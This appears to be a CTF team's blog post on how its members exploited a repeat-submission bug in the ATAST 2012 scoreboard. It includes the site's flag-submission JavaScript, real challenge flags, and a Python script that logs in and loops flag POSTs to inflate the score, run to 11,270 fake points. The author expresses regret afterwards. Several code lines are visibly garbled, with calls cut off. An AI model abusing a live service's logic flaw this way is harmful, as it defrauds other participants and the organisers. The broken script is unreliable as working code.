Posted on by and filed under ATAST 2012.

Team details

So we accidentally discovered a flag submission bug in the ATAST 2012 flag submission system after I submitted the first 20 point flag for web100 (23a952b7674e0c2d602bde4ba6367b93), not knowing that club member Jonathan Singer submitted it earlier.

I pressed the submit button a few more times and it still worked. In the interest of playing fair, I just kept the bug private to bask in the happiness of finding My Little 0day, but in retrospect I should have emailed the organizers about it. We continued as per usual, solving the relatively easy challenges.

vos from More Smoked Leet Chicken soon pwned the scoreboard via the web100 challenge hosted on the same server, and set our team score to -133700 points ♥. The organizers regained some control of the situation and reset our score to zero, and I started resubmitting flags under the assumption that they reset everything, but all of our flags were refused as already submitted flags.

But that web100 flag still worked. Singer then told me that a 35 point flag (G3T_7hE_K3Y_If_U_C4N) also worked, so I considered exploiting this flag submission bug to get us to our previous score. Nobody remembered what our score was and we couldn’t check what the point values for the flags were without annoying other teams about it, so uh…

Let’s just say I started by looking into how flags were submitted. I found



function flag(){
 var xflag=$("#flag").val();
 if(xflag == "")
 {$(".Atast-Msg").show().html("Where is the flag !!?");}

    dataString = 'flag='+ xflag;
    type: "POST",
    url: "js/php/check_flag.php",
    data: dataString,
    cache: false,
    success: function(done){



All comments about the code aside, it presumably used our team/session cookie and submitted the flag to a PHP script. Annoyed by my findings, I wrote this little Python script to get things going, spoofing user agents for kicks.

import urllib2
from urllib import urlencode

domain = ''
flag = 'G3T_7hE_K3Y_If_U_C4N'

# opener config
def set_ua(opener, choice, user_agent=None):
    if choice == 'ajax':
        opener.addheaders = [('User-Agent', 'XMLHTTP/1.0')]
    elif choice == 'opera':
        opener.addheaders = [('User-Agent', 
            'Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.12')]
    elif choice == 'other':
        opener.addheaders = [('User-Agent', user_agent)]
    return opener

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(),

# log in
creds = {'username': '....',
         'password': '....'}

opener = set_ua(opener, 'ajax')
print + 'js/php/check_login.php', urlencode(creds)).read()

# check that we logged in
opener = set_ua(opener, 'opera')
if 'logout.php' not in
    raise Exception("Couldn't log in")

# submit the fscking flag
flag_data = {'flag': flag}
count = 0
while 1: + 'js/php/check_flag.php', urlencode(flag_data)).read()
    count += 1
    if count / 1000 == 0:
        print '+%d points' % (count*35)

When we finally got fed up of what was happening (More Smoked Leet Chicken getting deleted for whatever reason, admins being absent from the IRC channel after we asked them if we should resubmit flags, etc), I ran the script.

More Smoked Leet Chicken/vos created a user that called us out on our fake score and complained about getting deleted, so we decided to stop the single threaded script on 11270 fake points. Around 10 minutes later, the CTF was taken offline for a few hours and reset with new challenges.

We won’t do this again. Pinky promise.

Credit: Mark Ignacio, Jonathan Singer

Bonus Round: Why this Worked

Somehow, the server checks if only some flags are submitted. It also doesn’t allow you to see what challenges you’ve completed. The only way I can see this unequal treatment of input happening is if flag checks and scoring were somehow baked into an PHP script’s chain of if statements instead of testing memberships in many-to-many relationships and calculating scores. The organizers said that the MySQL server was having problems at one point in the competition, so I guess they just weren’t using it to its full capacity… or something?

Plus, brewing your own websites from scratch is not fun, and usually not wise. Use some sort of framework and abstract those SQL statements away.